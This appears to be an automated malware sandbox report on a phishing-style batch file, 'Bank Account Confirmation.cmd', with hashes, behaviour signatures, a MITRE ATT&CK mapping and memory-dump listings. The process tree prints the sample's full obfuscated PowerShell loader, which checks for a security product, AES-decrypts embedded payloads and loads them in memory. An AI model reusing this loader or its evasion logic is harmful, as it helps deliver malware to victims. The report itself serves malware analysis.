c8594a268c014caf03a4e6c0ee8369be1e4f8888129f10afbe66f41319a019ef

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15/10/2024, 01:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Bank Account Confirmation.cmd
Size

75KB
MD5

a1f610b023f0ee41cf49ff8f1c65cd69
SHA1

9eb5aef9ec56315b68125fab688e7da0f1c047c7
SHA256

b88f42d17c704ef4c967e9a1dc44df19c78f7778b4dd8b804d672bb8dc4b388b
SHA512

9ac1b320dba8ad3e2649d536c7d5c2c00bf7e392c067f639cba722128e984f914920bb9a32502d27005359fcfb6e353c9f1a70eb421f158eb09fcadce8b4ee38
SSDEEP

1536:ZVMZoZknhzcJZwc+ADr8syGShOY3C+BuRV0B/FHP3vfcC:AZvh+fDr7YuRg/FHvnd

Score

3^/10

discovery

Malware Config

Signatures

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1708	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1600 wrote to memory of 2108	1600	cmd.exe	31
PID 1600 wrote to memory of 2108	1600	cmd.exe	31
PID 1600 wrote to memory of 2108	1600	cmd.exe	31
PID 1600 wrote to memory of 1708	1600	cmd.exe	32
PID 1600 wrote to memory of 1708	1600	cmd.exe	32
PID 1600 wrote to memory of 1708	1600	cmd.exe	32
PID 1600 wrote to memory of 1708	1600	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Bank Account Confirmation.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Bank Account Confirmation.cmd';$qYMd='EoWHEloWHEemoWHEeoWHEntoWHEAoWHEtoWHE'.Replace('oWHE', ''),'IJVJPnJVJPvoJVJPkJVJPeJVJP'.Replace('JVJP', ''),'TrAkDFansAkDFfoAkDFrmFAkDFinAkDFalBAkDFloAkDFckAkDF'.Replace('AkDF', ''),'ReaaYnZdLiaYnZnaYnZesaYnZ'.Replace('aYnZ', ''),'CoLAKKpyTLAKKoLAKK'.Replace('LAKK', ''),'DxJdEecxJdEoxJdEmxJdEprxJdEesxJdEsxJdE'.Replace('xJdE', ''),'LoZUlYadZUlY'.Replace('ZUlY', ''),'FTsZgroTsZgmTsZgBaTsZgse6TsZg4StTsZgrinTsZggTsZg'.Replace('TsZg', ''),'GetAeTiCuAeTirAeTirAeTientAeTiPrAeTiocAeTiesAeTisAeTi'.Replace('AeTi', ''),'EntfOQpryfOQpPoifOQpnfOQptfOQp'.Replace('fOQp', ''),'ChOzQnanOzQngeOzQnEOzQnxtOzQnenOzQnsioOzQnnOzQn'.Replace('OzQn', ''),'MayuqciyuqcnMyuqcodyuqcuyuqcleyuqc'.Replace('yuqc', ''),'CJcmOreJcmOaJcmOteJcmODJcmOeJcmOcrJcmOypJcmOtorJcmO'.Replace('JcmO', ''),'SplJpLxitJpLx'.Replace('JpLx', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($qYMd[8])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function TNxwU($DROrS){$satGT=[System.Security.Cryptography.Aes]::Create();$satGT.Mode=[System.Security.Cryptography.CipherMode]::CBC;$satGT.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$satGT.Key=[System.Convert]::($qYMd[7])('PYD5Zx79/5XXaOZ9KVLVpuLIBDRZmVJg6jUpiwmMiH8=');$satGT.IV=[System.Convert]::($qYMd[7])('NFMa47iGxlGH6wwsNxEAUA==');$EirGA=$satGT.($qYMd[12])();$GpYEP=$EirGA.($qYMd[2])($DROrS,0,$DROrS.Length);$EirGA.Dispose();$satGT.Dispose();$GpYEP;}function wpxHz($DROrS){$KPEoo=New-Object System.IO.MemoryStream(,$DROrS);$hqSSH=New-Object System.IO.MemoryStream;$yRCmC=New-Object System.IO.Compression.GZipStream($KPEoo,[IO.Compression.CompressionMode]::($qYMd[5]));$yRCmC.($qYMd[4])($hqSSH);$yRCmC.Dispose();$KPEoo.Dispose();$hqSSH.Dispose();$hqSSH.ToArray();}$RvQfJ=[System.IO.File]::($qYMd[3])([Console]::Title);$CoOkQ=wpxHz (TNxwU ([Convert]::($qYMd[7])([System.Linq.Enumerable]::($qYMd[0])($RvQfJ, 5).Substring(2))));$dNNEQ=wpxHz (TNxwU ([Convert]::($qYMd[7])([System.Linq.Enumerable]::($qYMd[0])($RvQfJ, 6).Substring(2))));[System.Reflection.Assembly]::($qYMd[6])([byte[]]$dNNEQ).($qYMd[9]).($qYMd[1])($null,$null);[System.Reflection.Assembly]::($qYMd[6])([byte[]]$CoOkQ).($qYMd[9]).($qYMd[1])($null,$null); "
  2⤵
  PID:2108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1708-2-0x0000000074601000-0x0000000074602000-memory.dmp

Filesize
4KB

Download
memory/1708-3-0x0000000074600000-0x0000000074BAB000-memory.dmp

Filesize
5.7MB

Download
memory/1708-4-0x0000000074600000-0x0000000074BAB000-memory.dmp

Filesize
5.7MB

Download
memory/1708-5-0x0000000074600000-0x0000000074BAB000-memory.dmp

Filesize
5.7MB

Download
memory/1708-6-0x0000000074600000-0x0000000074BAB000-memory.dmp

Filesize
5.7MB

Download